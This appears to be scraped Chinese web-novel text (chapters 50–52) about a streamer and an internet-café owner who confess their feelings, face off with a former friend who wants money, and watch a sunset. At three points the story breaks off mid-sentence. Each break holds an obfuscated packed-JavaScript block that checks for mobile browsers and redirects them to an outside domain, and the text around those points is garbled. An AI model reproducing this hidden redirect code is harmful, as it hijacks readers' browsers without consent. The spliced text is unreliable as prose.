他小心谨慎,一步一步规划自己该走在什么地方,瞻前顾后算了又算,生怕自己一个走岔,他们俩之间的一切都将完蛋。 但在被程舒晚身上幽幽冷香包裹的瞬间,他心里所有的忐忑,不安,都在瞬间溃散,一直压抑克制的情绪终于在酒精的推动下如冲堤潮水般将他吞没。 隐瞒也好,假装也罢,原来他所求的,不过是能待在她的身边。 不论如何,只是不想失去她。 仅此而已。 昨天晚上发生的一切胶片般一幕幕从脑海中再次闪过,关时望着程舒晚没有转过身来的背影,轻声唤她:“舒晚?” 他开口时喉咙发紧,差点没出声儿,这才察觉自己没有想象的那么镇定。 程舒晚没对他的呼唤做出反应,但垂在身侧的手浅浅颤抖起来,随后攥了攥才止住,转过头来。 “傻逼。”她说。 关时紧绷的肌肉放松下来,浅浅笑了,“你真的好不客气。” “有什么好客气的,”程舒晚咬牙切齿,鼻尖一抹红却掩饰不住,“我等你坦白等多久了知道不?打游戏心思那么多,做人也考虑那么多,一点都不敞亮。” “你早看出来了也没说,那还是半斤八两吧,”关时道,“你要是心思简单,怎么可能打得上国服?” “打你个鸡蛋,”程舒晚看他,用手背抹了下鼻子,“我要也像你一样纠结才打不上国服,你就是欠收拾,二天。” 关时瞅着她没说话。 片刻,两人不约而同地噗嗤笑出声来。 挺神奇的。 程舒晚想象过二人真正坦白身份会是什么模样,是否像电视剧里那样有无穷尽的误会,跌宕起伏的隐瞒反转,是否会痛哭流涕缅怀和指责……好吧,他们俩都干不出来这样丢脸的事情。 现实比她幻想的更加轻松和平静。 她还是她,关时还是关时。 不过只是当年的小鬼叉烧和二更天,两位素未谋面的少年,长大了而已。 “对不起。”关时突然说。 程舒晚莫名其妙:“干什么?” “你受的伤,我不知道。”关时牵了牵嘴角,“皮带抽手很痛。” 程舒晚愣了愣,想起他指的是当时她被程国鑫抓包的事,“这跟你没关系。” “当时,你如果是在我家网吧就好了。”他说,“没陪着你,还跟你赌气玩失踪,对不起。” “……”程舒晚握拳,轻轻打在他胸口,“好了,过去的事就不用说了。” “好。”关时笑了笑,轻声说,“舒晚,答应我一件事。” 程舒晚看着他。 关时:“如果未来遇到什么困难,一定,要找我。” 他不想,再失去什么了。 程舒晚本来想多说几句“把我当没自保能力的软辅吗”之类的话,但望见关时的表情,还是掐断未说出口的字句,轻轻点了点头。 空气安静几分,或许是想说的太多,又或许什么都不必说,一时间两人都没找到话题,只面对面尬站着。 “要不,”程舒晚咳嗽一声,“先去网咖再说。” 关时点头,“嗯,好。” 两人继续往木吉网咖走去。 心里一块大石头终于放下,关时步伐都轻快许多,这回没有跟往常一样落后半步,而是与程舒晚并肩,垂在一侧的手随着步伐一下一下碰着她的手臂。 跟个摇头晃尾的大狗似的。 程舒晚没太回应,但关时却是变本加厉,等红灯过马路的时候,他伸出手指,非常轻又非常刻意地在她的掌根挠了下,又跟什么都没发生一样收回了作恶的爪子。 程舒晚微微抬头瞅关时一眼,收获一个无辜又温和的帅脸露齿笑。 ……如果不是嘴角还有淤青的话。 红灯变绿。 “还看?”关时见程舒晚还没收回目光,笑眯眯地催促她,“再不走,等下又红灯了。” “要走的。”程舒晚迈上斑马线,“只是想起一件事情。” 她说着伸出手,轻巧绕过关时手腕握住他的手掌,把自己的手指滑进他的指缝之中,严丝合缝地扣住他的五指。 关时:“……!” 这个不断撩骚的大狗脸上的笑容瞬间转变为僵硬和震惊。 看到他表情变化,程舒晚瞬间心情舒畅,这才补上没说完的话:“我只是想起来,过马路要牵着点。” 她就这么扣着关时的手,牵着他穿行在斑马线上。 经过这么长一段时间的对垒,程舒晚已经完全掌握攻克关时这个高攻低防家伙的节奏了,但如此自损八百的招式她也不常用,一边走一边能听见自己胸膛越来越快的跳动,脸上也升腾而起一阵热意。 好吧,看来自己也没有厚脸皮到能不动声色的地步。 她不想让关时发现自己正在尴尬的窘境,头也不回地走在前面,步伐却越来越快。 就在她差点背生双翼直接起飞时,关时轻轻喊她:“舒晚。” 他把手指一拢,将程舒晚的手扣进掌心里。 十指紧紧相扣,像风筝的细线一般轻柔拉住程舒晚紧迫的脚步,她微微停顿,但没敢回头。 关时的笑声从旁边飘来,他上前两步再次与她并肩,说道:“别走那么急,绿灯还长。” 程舒晚小声应答,放慢了脚步。 关时的手比她大一圈,干燥温热,也不知道是不是心理作用,程舒晚好像能从相贴的掌心感受到他的血液在皮肤下的流动,随着脉搏在欢腾,似乎与她过载的心跳同频跃动。 他也跟自己一样吗? 他对她的那些隐瞒,热情,小心翼翼,关照,别扭……和坦诚。 也是跟她一样的吗? 她此刻在想的事情,关时是否也在想呢? 马路对面不远就是木吉网咖了,程舒晚从来没那么期望斑马线可以长一点,长到能把时间困在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364923|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻,可惜老城区的路着实不宽,很快还是踏上了人行道。 程舒晚没有主动松开手,略有些紧张地等了一会儿,关时也没主动松开,他们就那么十指相扣继续往前走。 就像是真正的情侣一样。 程舒晚悄悄抬眸想打量关时的表情,结果目光猝不及防直接撞进他温和的视线里。 他也在悄摸看她。 两人视线仅仅是碰了一下就双双慌忙移开,欲盖弥彰。程舒晚垂着眼数自己的步子,一,二,三……她终于重新抬起头,开口。 “关时,你对我……” 她话音还没落下,关时突然停住了脚步。 随着他的急停,程舒晚只觉指尖一空,相扣的手在此刻滑开,仿佛一阵狂风刮过,风筝线被猛然扯断。 心情像是在顶峰突然俯冲下去的过山车,程舒晚表情有些空白地望向落后两步的关时,却发现他神色紧绷,直勾勾盯着前方,木吉网咖的门口。 她扭头顺着他的视线望过去。 街上行人不多,程舒晚一眼就瞧见木吉网咖门口站着个瘦小青年,悄悄摸摸地伸长脖子往网咖里张望,在看清他的脸的瞬间,程舒晚头皮发麻,胳膊上激起一层鸡皮疙瘩——正是昨日中午出现在学校门口堵关星玥的郭楷。 他在门口晃来晃去的,目光不住往网咖里探望,一副在找人的样子。程舒晚意识到什么,暗暗回眸看关时。 关时抿着嘴,眼底的紧绷已经褪去大半,取而代之的是一种极具压迫感的寂静,程舒晚上一次看见他这表情估计得追溯到第一次去木吉网咖,关时处理抓女儿的闹事人那天,但那一次关时还能处理完冲突扭头就冲她笑,本质上没多生气,充满攻击性的表情更像是拿到表面上来震慑人用的。 而现在他的表情更死寂,像是在认真思考怎么把眼前的人弄死。 程舒晚忍不住把心悬了起来。 “舒晚,”关时开口,声音还是放轻的,却没有往常的笑意,“等我一会儿。” 程舒晚不太放心,但只能装什么都不知道:“熟人吗?我跟你一起过去……” “不要。”关时打断她,“就在这儿哪都别去,站在我看得见的地方,等我。” 程舒晚:“关……” “听我话!”关时突然加重了语气。 程舒晚被他话中的严厉吓了一跳,没说完的话卡在嗓子眼里,震惊又茫然地望着他。 关时眼神软了一下,知道自己没控制住语气,但没多解释,往木吉网咖的方向先走过去,“在这儿等我。” 程舒晚望着关时的背影,悄然握紧手,沉默几秒钟之后,她打开手机拨通了一个电话。 木吉网咖前台值班的是小贾,在第三次抬头瞧见店门口鬼鬼祟祟的青年还没离开时,终于忍不住走出门来问他:“上网吗?还是找人?” “你干你的活儿。”郭楷挥了挥手,随后突然想起什么来,又反手抓住他,“你们老板在不在?” “老板?”小贾闻言拉高了警惕,“找老板干什么?” “我没找他,只是问他在不在。”郭楷含混地说,“他不在?” 小贾没闹清楚这家伙想干什么,犹豫了两秒,却让郭楷看出来答案,脸色登时放松下来,“他不在啊,那裴哥呢?我找裴哥。” “裴哥……”小贾卡壳,下意识往网咖里瞟了一眼。 郭楷又知道他没说出口的后半句是什么了,扬着手示意他一边去,就要抬腿往里走,“行了忙去吧,我自己去找裴哥。” “诶你……”小贾知道来者不善,立刻伸手去拦,不远突然传来淡淡的声音。 “来我店里玩,不打声招呼?” 听到这个声音,郭楷身体瞬间僵硬,小贾倒是找到救兵似的松了口气,“时哥……” 他随即看到关时脸上的淤青,张了张嘴,好在还是忍住了没问出“时哥你被人打了吗”这种掉气势的话。 关时双手插在裤兜,盯着郭楷的后脑勺,不咸不淡地答应小贾,“你回去守着前台吧,我来招待。” “哦好。”小贾又看了郭楷一眼,觉得这看起来不像是时哥的朋友,但见气氛不对便也没多嘴,转身回前台去,门口就剩下关时和郭楷两人。 郭楷背对着关时,脚像是拿胶水糊在地上,抬不起,也转不了身。 “我以为你会跑。”关时说,“进去坐坐?” 郭楷咬着牙,半晌才慢慢转过身,但眼睛垂着没敢看关时,额头上已经冒了汗。 “瘦了不少。”关时望着他的脸平静道。 “时哥。”郭楷艰难地吐出两个字。 51. 背叛 “时,哥。”关时慢慢把这两个字念出来,荒谬地勾了勾唇角,“如果你还念及这点情分,就该知道自己不该出现在我面前。” “我……知道,我知道。”郭楷喃喃着,猛然抬起头,下定决心似的扑通一声跪在关时面前,紧紧抓住他的下衣摆,声音跟眼泪一起滚出来,“我,我没路可走了,时哥!我罪该万死,但不行,我妈的病缺一笔钱,我不能死!” 他的眼泪瞬间流了满脸,情绪起伏之突然,之夸张,仿佛关时不是他几年没见的故友,而是颗洋葱。 刚切开的那种。 想到程舒晚就在不远的地方,关时弯腰揪住郭楷的衣领一把将他从地上薅起来。郭楷个子不高,毫无还手之力地被拎小鸡似的扔到木吉网咖旁边的小巷边,没站稳一个屁股蹲坐在地上。 “少在我店门口搞这套。”关时说,“你的把戏对我不管用。” “时哥,时哥……”郭楷手脚并用地从地上爬起来抹一把脸,手在地上蹭了灰,脸上也黑几道,“我没有骗你,时哥!我对天发誓,我真的只是需要一笔钱,救命钱,我,我出来之后就没再碰过牌了,我也想好好做人好好生活啊!” 见关时没有说话,郭楷举手发誓,“我写欠条,我,我抵押,我……你要我做什么都行,我绝对不会打扰你们的,只是要一笔钱,我,我只要一笔钱救我妈……” 他话还没完,侧边忽然飞出来一道人影,一记飞踢猛地踹在他肩膀上。郭楷猝不及防飞出二里地摔在地上,估计咬到了舌头,哀嚎声没喊出来。 打人的家伙没就此停下,朝郭楷飞扑过去,骑在他身上摁着衣领提拳便揍。 这几拳都朝着脸颊招呼,打得郭楷求饶声都没说出口,满脸是血呜呜着嗷了声“胜哥”。 “谁是你哥!别恶心我!”苏新胜眼睛里爬着愤怒的血丝,额角青筋暴起,大吼道,“关时跟你念旧情我可没那么大度,我说过见你一次打一次,你赌我做不到是不是!” 他一边说,拳头一边继续落在郭楷脸上。关时插着手垂下眼,轻轻睨着这场面,直到躺在地上的瘦小青年快要有气儿进没气儿出了,才拦了苏新胜的肩膀,“再打出人命了。” 苏新胜深吸一口气,这才松手从郭楷身上站起来,“我没打眼睛没打鼻子,不骨折不脑震荡不伤残,死不了,他就是喘不上来气而已。” 关时扯嘴角笑了下,“你还挺分寸。” “不然呢,等你动手?”苏新胜气还没消,瞪着关时,“那才真的是出人命了。他找你干嘛?” “借钱。”关时摸了下口袋,顿了顿,想起自己已经戒烟了,“你不知道他来干嘛就揍?” 苏新胜气笑了,“他都跪那儿了,还能干什么好事不成?我又不是第一天认识他……” “只是这个理由,你不会气成这样。”关时斜他一眼,“是不是你事先知道了什么?” 苏新胜卡壳两秒,小声“草”了一句,“我就是很讨厌他,说了见一次打一次就见一次打一次。” 他说着,踢了郭楷一脚,“少他喵的装死,给你三秒,要么爬起来自己滚,要么一辈子别站起来了。三……” 郭楷捂着脸,挣了两下才从地上坐起来,悄悄瞄了关时一眼,见他依然面无表情,大着胆子再次求情:“时哥,当初我妈那么喜欢你,每次都夸……” “你还没被打够是吧?”苏新胜气不打一处来,撸起袖子就要再上前,关时伸手挡住了他。 “时哥。”郭楷挂彩开花的脸上露出一点欣喜和骐骥,知道这位过去的大哥还是心软的,但后续的话还没说出口,衣领被揪着狠狠摔在小巷的墙壁上,后脑勺咚的一声,眩晕片刻。 关时提着他的衣领,手肘却压着他的胸口限制他的呼吸和行动,视线半垂着盯着他的眼睛,平静而冷淡。 “如果你要提以前。”关时一字一句道,“我们所有人,玥玥小时候最粘着的就是你。” 提到关星玥,一旁的苏新胜表情再次扭曲,而郭楷也终于掐灭了心里那一点侥幸,身体开始不能控制地颤栗起来。 “奉劝你,郭楷。”关时说,“当初是玥玥不想计较,不是我不想计较,但你要是现在继续挑战我的底线,只要你在大荷一天,我就一天把你掘地三尺找出来,保证你的债主两小时就能收到一次你的位置。” “既然那么爱赌,你现在也可以赌我能不能做到。” 巷子里寂静须臾,关时松开了手。没有他的支撑,郭楷差点腿一软摔倒,踉跄几下才扶着墙站稳了。 “滚。”关时说。 郭楷这回终于没有再纠缠,抹了一把脸,低垂着脑袋快速从小巷溜出去了。 苏新胜长长吐出一口气,甩了甩手上沾染的血,“不行我得借你店里洗个手,卧槽太晦气了……” “是不是舒晚喊你来的。”关时突然说。 苏新胜瞪大眼睛,随后反应过来这副表情差点出卖自己的想法,咳嗽两下连忙找补,“呃,我本来就快到了,她只是问我在哪而已。” “你跟她说了郭楷的事。”关时说,并非疑问句。 苏新胜张张嘴,一时间找不到为自己开脱的狡辩之词,最后略微崩溃地一屁股靠墙上,甩手撒泼,“我服了你们俩了,你自己跟她坦白吧行吗哥?我夹在中间真的很难做人!” 关时侧目瞧他一眼。 “不能说的我没说。”苏新胜叹气。 停顿须臾。 “嗯,难为你了。”关时露出个笑容,“算我的,明天请你吃饭。” 苏新胜轻轻翻了个白眼,“我看晚姐还在外面,你找她去吧,我去你店里洗手。我草……他喵的,我没下多重的手啊,这家伙皮薄馅大啊,流这么多血……” 苏新胜嘀嘀咕咕离场,关时深呼吸准备出巷子,结果刚转身,程舒晚就站在巷子口,面无表情地看着他。 “解决了?”她问。 关时没忘记自己刚刚在看见郭楷时紧绷得凶了她一句,缓和脸上的肌肉,扯着嘴角笑了下,“刚刚吓到你了吧。” “没有。”程舒晚扫一眼他的表情,“你是不是准备先用笑容拖延时间,然后在脑子里搜索借口来搪塞我?” 被戳中心思的关时卡壳片刻,下意识否认:“哪有。” 程舒晚伸出手指比了个安静的动作,示意他别狗叫。 “给你时间考虑一下,只要你说,我都听。”她说,“如果你不想说,之后我也不会再探究。” 关时哑然片刻,“你生气了吗?” “没有。”程舒晚再次否认,“我知道每个人都有不想说的事情,我当然会期待你自己敞开心扉,但如果坦白过去的事情对你来说很艰难,我就不应该继续探究,徒增你的压力。” 网咖门口安静了有十来秒,关时深深吸一口气,指了指门内,“先去你工作间吧。” “我……组织一下语言。” 程舒晚没说别的,轻轻点头“嗯”了声。 回到十五号包厢,程舒晚熟稔地开灯、开电脑,关时刚想开口,程舒晚拉了把椅子给他,“坐。喝水吗?” 她从桌边的架子上拿了一支矿泉水,还没等关时说话,把矿泉水拧开倒进烧水壶里,“你宿醉才起,还是喝热的吧。” 关时投去目光,这才发现桌边的架子上除了烧水壶,还放了台小型的咖啡机,几盒花茶,俨然一副茶水间的模样,“你什么时候弄的这些?不管是茶还是咖啡,网咖里都有。” “懒得下楼。”程舒晚给出无懈可击的回答,在自己的椅子上坐下,“怎么,关老板,不许你的员工搞这些花里胡哨的?” “只是没必要自己花钱……算了,你也不是我员工,随你喜欢。”关时笑了下,片刻后收敛表情,主动把话题拉回郭楷身上,“你怎么知道的郭楷,苏新胜不会主动提他。” “他没主动提,我猜的。”程舒晚答应过关星玥不告诉关时,所以刚刚打电话摇苏新胜的时候就打腹稿准备了说辞,“我问过他你手上那道伤疤的来历,他提到有朋友背刺你,我刚刚猜测就是那个人,担心出问题才给他打的电话。” 关时望着她半晌,没有对这话的真实性发表看法,只默默坐下来,“我和苏新胜没上学之前就一块玩儿,后来一直是同学。郭楷……是小学的时候认识的。” 程舒晚拢着手,安静倾听。 “我读一年级那年父亲去世,大荷这边风气不好,我小学也乱七八糟的,有群爱惹事的同学知道我是单亲家庭,变着法阴阳怪气和嘲笑我。” 程舒晚盯着透明的烧水壶底泛起小气泡,手掌渐渐收拢起来。 “有一回他们当着我面笑我家是开网吧的,我还没发作,郭楷上去就给了领头的同学一拳,我和老苏顺势就跟他们打了一架。”关时扯扯嘴角,笑容有些复杂,“后来我知道郭楷父母是出摊卖早餐的,也难怪会替我出头,总之那次之后就成了朋友。” “我过去很多事情拎不清,跟个混混一样,但并不是一开始就这样的。”关时突然转了话题,“你听玥玥说过吧?我父亲是见义勇为。” 程舒晚轻轻“嗯”了声。 关时说话的时候有点艰难,做了个深呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怪不得苏新胜对郭楷去学校找关星玥的事情反应那么剧烈,怪不得关星玥说不要告诉关时。 程舒晚突然想起来之前某天准备去网吧时偶遇关星玥,她说自己即将十九岁。当时程舒晚还疑惑着她不过才读高二,猜测是上学得比其他人更晚,现在看来,很有可能是因为当初的事情休学过。 “我没有问过郭楷为什么要那么做,或许我早有答案,他本性并不是个坚定勇敢的人。”关时说着没了声,目光逐渐垂下,双手不知不觉绞在一起,“是我的错,没有发现他的异常,也没有保护好玥玥……” 他话没说完,程舒晚突然站起身,过了一会,她把装着温白开的杯子被塞进他手中。 “喝水。”程舒晚说。 自我检讨被打断的关时略微茫然地望着她,重新看向手中的杯子,后知后觉自己双手发凉。他定了定神,昂头把水喝了。 妥帖的温度滑过食道,把他心里的不安和恐惧抚平了些。 “你没有错。”程舒晚轻声说,“这些事情你不用自己扛着。” 关时攥紧手中的杯子。 “如果当初能发现他的异常,如果当初能保护好玥玥……换我,肯定也会这么想。”程舒晚在关时面前蹲下,微微抬眼与他对视,“过去的结局没办法改变,但现在,你多少可以依赖我一点。” “我不会让那家伙碰到玥玥,如果他想伤害玥玥,我绝对不会放过他。” 程舒晚说得很平静,但关时能听出来她的愤怒,是把玥玥的事情、他的事情视为己出的愤怒。 他眸光微微颤动,很快低下头隐去表情。 “都是过去的事情了,只是有点感慨。”他再次抬起脸的时候,已经重新挂上了微微的笑意,“我没事,放心吧。” 程舒晚瞅着他半晌,张开手臂,“抱一个。” 关时:“真没事,我想得开……” 程舒晚:“我要抱,你给我抱一下。” 关时:“……” 他震惊又好笑地与她对视片刻,站起身来。 程舒晚双手穿过他腰间,环住他的后背。 一个很结实的拥抱。 熟悉的冷香环绕,柔顺的长发擦过脸颊。当程舒晚的温度隔着衣物满满当当传递而来时,关时心底突然涌出了一阵莫名的酸涩。他不知道这阵情绪的来由,一边慌乱地重新把它们隐藏起来,一边寻找缓解方法,防止情绪上脸。 于是他无意识地收紧了臂膀,逐渐把程舒晚按在怀里。 52. 日落 程舒晚感受到关时克制不住的环抱,没出声安慰,只是安静地把自己的脑袋架在他肩上。 关时待到情绪逐渐平息才反应过来,连忙松开手,“我是不是力气太大了?” “我最近锻炼成果很好。”程舒晚扬了扬手臂,示意自己比个把月前长了点肌肉,没那么弱鸡了,才继续说,“我会给玥玥准备防身的喷雾和报警器,我们可以轮流接送她上放学。放心,我会好好吃饭好好健身,教练说我接下来就可以学拳了。昨晚我还留了何警官的电话,遇到什么事会找他。如果之后发生法律上的纠纷,谭婧和周嘉安也能提供援助。” “所以,不用担心。”程舒晚说,“我会尽可能保护好玥玥。” 关时听着她一条龙服务的应对方法,不知道想到什么,一直没有说话。 “你不用那么紧张,”过了有好几秒他才笑了,神色如常道,“我说这些是不希望让你想太多太担心,郭楷的事情我可以解决。放心吧,我不会有事,玥玥不会有事,我保证。” 他脸上自如的微笑跟防空工事一样全方位拦截了程舒晚的顾虑和关心,但程舒晚还是能从这笑容底下看出些除了安抚之外的东西。 她最后什么也没说,只点了点头。 一楼大厅,苏新胜坐在靠近楼梯的机位上心不在焉地转椅子,待到关时的身影出现在楼梯口,这才从椅子上弹起来,“喂”了一声,“都告诉晚姐了?” “嗯。”关时眼也不抬,径直往网咖门口走。 “去哪啊你,走那么着急,”苏新胜道,“兄弟大老远来一趟呢,不招待啊?” “回家一趟。”关时说,“你坐会儿,我等下回来。” 苏新胜装模作样叹气,“唉,感情淡了,就这么随意安排——” 他话没说完,关时猛然转身,目光唰地盯住他。 “你今天是来找舒晚的吧。”关时说,“我没怪你有事瞒我,你就别在这儿上赶着找打。” 苏新胜张着嘴无言望着关时,目送他转身继续往外,消失在网咖门口。 “喵的,火气这么大。”他坐下开了电脑,想想又气不过,对着空气舞了一套王八拳,“什么傻卵!憋死自己算了!” 房间里,关星玥合上英语练习册伸了个懒腰,摸起放在一边的手机。 姚婉婷午饭后总要出门,今天是找退休老闺蜜喝茶去了,而关时又和个一键跟随的大狗一样粘着程舒晚去了店里,她一个人在家写写作业玩玩手机,闲得自在。 才刷两条美妆视频,客厅突然传来钥匙转动开门的声音,关星玥探头出房间,玄关后,关时低着头在换鞋。 “忘带东西了?”她走出来问。 关时从玄关后走进客厅来,手上拎着塑料袋递过来,“自己挑,剩下的放冰箱。” “什么?”关星玥接过塑料袋,是一袋雪糕,什么口味的都有,“哇”地翻找出红豆抹茶的,“你吃不?” “宿醉之后头疼胃疼的,不吃冷的了。”关时在沙发上一屁股坐下,“放完过来坐。” 他脸上没什么笑容。 “干嘛这么严肃,很恐怖诶。”关星玥嘀嘀咕咕,关上冰箱门之后还是乖乖坐了过去,撕开雪糕包装纸,“最近也没有考试啊,要批判我最近的学习态度吗?终于打算收回‘不管你成绩怎么样开心就行了,家里养得起你’这句誓言,准备鸡娃了?” 她故意说着这些不着调的俏皮话,但老哥没有接茬,目光一直定在她脸上。 关星玥意识到问题的严重性,只好默默用雪糕封印了自己的嘴巴。 “有什么想跟我说的吗?”关时说。 关星玥:“……” 她无辜又天真地看关时。 关时:“你哥我不是好糊弄的人,最好说实话。” 关星玥对峙片刻,像是没听见一般低下头,专注于雪糕。 关时就这么看着她把雪糕吃剩根棍儿。 关星玥吃无可吃,把棍扔进垃圾桶,拍拍手站起来,“我去写作业了。” “站住。”关时说,伸手拍了拍她刚刚坐的位置,“坐下。” “……”关星玥露出了难受的表情,“我哪有什么事要说嘛,要真有事……” “今天郭楷趁我不在想找裴哥借钱,被我拦下了。”关时打断关星玥,“昨天你程姐去接你放学,是不是也遇到了郭楷?” 关星玥脸上装模作样的表情戛然而止。 “是不是?”关时重复了一遍。 寂静在客厅酝酿,不知道过了多久,关星玥重新坐下,轻声嘟囔:“你都知道了,就不用问我了。” 她闭上眼。 关时:“闭眼干什么。” “怕看见你吐血的表情。” “……” 预料中的责备并没有到来,关星玥惶惶不安地把眼睛睁开一条缝,悄悄瞄了一眼老哥,他仍然是那张严肃的面孔,仿佛等待员工解释情况的老板。 关星玥认命地睁开眼睛,攥着手规规矩矩地放在大腿上,“他应该是想通过我跟你借钱,但没有对我做什么,程姐姐威慑他几句,他就自己走了。是我拜托程姐姐别告诉你的,她……她没说吧?你别生她气。” “她是没说。”关时看她,“那你呢?你又是为什么不告诉我?” “你不是喝醉了嘛。”关星玥小声说。 “借口。”关时说。 关星玥张了张嘴,莫名觉得自己如果以后上班被领导质问,肯定比其他同龄人更快适应这种感觉。 “我知道他不会对我做什么,他从以前胆子就不大。告诉你又能干啥,除了破坏心情之外没什么用,还会让你紧张兮兮的,没必要。”关星玥说,“我不希望让你担心嘛。” 关时:“……” 这句十来分钟前刚从自己嘴里说出来的熟悉说辞,让他瞬间陷入无言的沉默之中。 关星玥眨巴眨巴眼睛,“哥?” “没事,你写作业去吧。”关时站起来,“我就了解一下。” “你不会做什么吧?”关星玥依然忐忑不安。 关时抬手在她后脑勺拍了一下,拿上车钥匙去玄关穿鞋,“他没做什么,我就不会做什么,放心。” 关星玥:“啊……那更恐怖了。” “恐怖什么,”关时拉开门,回头咧开嘴角笑了,“我又不是一言不合就找人打的小屁孩。” “……”看着家门被阖上,关星玥噘嘴嘀咕,“明明昨晚半夜还跟人打架……” 关时再次下楼,走出十三栋的单元门之后,他低下头从手机通讯录里翻出一个号码,拨了过去。 响了几声后电话接通:“喂?关老板,咋啦,有活计?” “嗯。”关时说,“空不?空的话现在老地方见一面。” “诶老弟,不会又是帮条……咳,帮警察蹲守赌场之类的活吧?” 关时解锁了车,拉开车门坐进去,“不用跟他们交涉,帮我盯个人就行。” “成啊那简单,不跟警察打交道就行。那老板等我一会儿哈!二十分钟,二十分钟!” 挂断电话,关时把手机扔副驾座位上,闭上眼深吸一口气,再睁开时满目皆是凉淡的寒意。 过去的结局没办法改变,但现在,你多少可以依赖我一点。 他脑海里浮现出程舒晚的声音,眼神慢慢回暖几分,攥紧的手慢慢松开,好像有一只纤细微凉的手绕在他指缝,轻轻拢扣着。 他们十指相扣走过路口,她面颊比寻常要红润些,轻轻抬起视线打量他,眼里有光。 她说:“关时,你对我……” 关时闭上眼深吸一口气,让充盈肺部的空气压下心中复杂的情绪。 他知道她没说完的话是什么,如果不是郭楷突然出现,在刚刚那种氛围里,或许一切都会顺理成章。 但郭楷就是正正好出现,像是一根针将那阵粉红泡泡无情戳破,明晃晃的现实一下子暴露在他眼前,让他清醒过来。 他的前半生在暴力、算计、争夺、冤冤相报之中度过,哪怕他已经走出泥潭,披上体面的皮囊,依然有些人,有些事,会顺着他来时的路,从后面一把拽住他。 当程舒晚说自己会保护玥玥,让他可以依赖她一点的时候,关时心里除了感动和心动之外,就剩下了恐惧。 不能,不可以。 那些事物拽着他就算了,他不允许它们挨上程舒晚。 程舒晚已经走得足够辛苦了,怎么能再因为他陷入其他破事之中。 他得把自己摘得干干净净才能去牵她的手。 郭楷…… 关时启动汽车,一手搭上方向盘,一手落在手刹上,正要放下,突然顿了几秒。 他重新把车熄火,摸起副驾的手机。 老老实实叫了个代驾。 虽然关时说不用担心,程舒晚还是周末接送关星玥上放学,偶尔给她补补文化课。但时间平稳进入六月,很长一段时间,郭楷都没再出现过。 程舒晚想,关时或许真的是有办法,她也没多问,直觉告诉她关时不会说真话。 眼瞅接近学期末,关时依然给关星玥请了假,跟着她一块去海宜市看演唱会。而程舒晚也趁着端午假期和谭婧聚了几顿酒,而后依然是平静的日子,除了蒋慧玲依然不死心地来找过程舒晚两三次,程舒晚并未搭理。 她告诉蒋慧玲,再闹她就卖房。 CPL进入了夏季赛,各家俱乐部战队都卯足了劲,赛起来一场比一场精彩。程舒晚除了常规的排位直播和水友娱乐赛之外,偶尔还带着直播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364925|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间观众们一起看比赛,借着对比赛富有逻辑的判断解说,还有对《封神图录》电竞新闻的一些趣事详解,居然吸引了另外一批以看陪伴解说为主的直播间常客。 某天的比赛直播之中,凭借狐队白狸的五杀名场面和她精彩的复盘解析,直播间冲上当晚游播社的推荐位,在短短几天内滚雪球一般,小鬼叉烧这个账号的粉丝数量突破了八万,开始有些品牌推广找上门来寻求商业合作,程舒晚一时间忙得头追屁股,日日连轴转。 关时看不下眼,这天周日,以一起送关星玥回学校的名义,终于把在工作间坐了一整天的程舒晚拽到大马路上,用人间烟火气洗洗班味儿。 送完关星玥是下午六点,太阳落山之际,晚风终于稍有降温。关时迎着风惬意地双手插兜,微微瞥眼,程舒晚却把这难得的闲适放在一边,双手捧着手机,手指不断在屏幕上敲敲打打,注意力非常集中。 “看路。”关时说。 “等等。”程舒晚头也不抬。 关时俯身过来,“你在做什么?” 程舒晚侧过屏幕给他看了看,“视频策划案,差一点了。” 关时:“等会儿七点还直播,不休息一下吗?” “直播没问题的。”程舒晚继续看手机里的文档,“压力不大。” 关时笑了声,“好。” 他伸出手,捏住程舒晚的衣角。 程舒晚终于把目光从手机上移开,疑惑地投向关时。 “你慢慢工作,”关时说,“我领着你走。” 程舒晚默了片刻,点头嗯了声。 夏日晚风徐徐,吹走白日的闷热,那不轻不重拉着她的手让她没有迷失在人从众之中。程舒晚敲完最后的修改发送给甲方,这才如释重负抬起头,陡然发现关时并没有回网咖,而是带着她绕了一条街来到那河岸的小公园,站在护栏边上。 今天天气很好,未被遮挡的落日余晖被一把撒在河面上,细细碎碎,金光灿灿,又裹着河风落到岸边的人身上。程舒晚偏过头,关时正望着正前方的日落,嘴角挂着一丝闲情逸致,被金色的日光勾勒得干干净净。 “你……”程舒晚好一会儿才开口,“领着我来看日落?” “运气不错,”关时说,“我还担心今天看不到呢。漂亮吧?” 程舒晚重新把目光投向河面,“嗯。我没怎么看过日落。” “海宜市比朔江还沿海,那边的日落应该更好看。”关时说。 程舒晚安静地盯了一会儿河面,“大学的时候忙着直播、课业、竞赛和实习,工作之后,没有在天黑之前下过班。” 关时闻言沉默几秒钟,扯了扯嘴角笑道:“要学会心疼自己。” 他的声音很轻柔,掺杂在风里,扫得心尖泛痒。 程舒晚:“……嗯。” 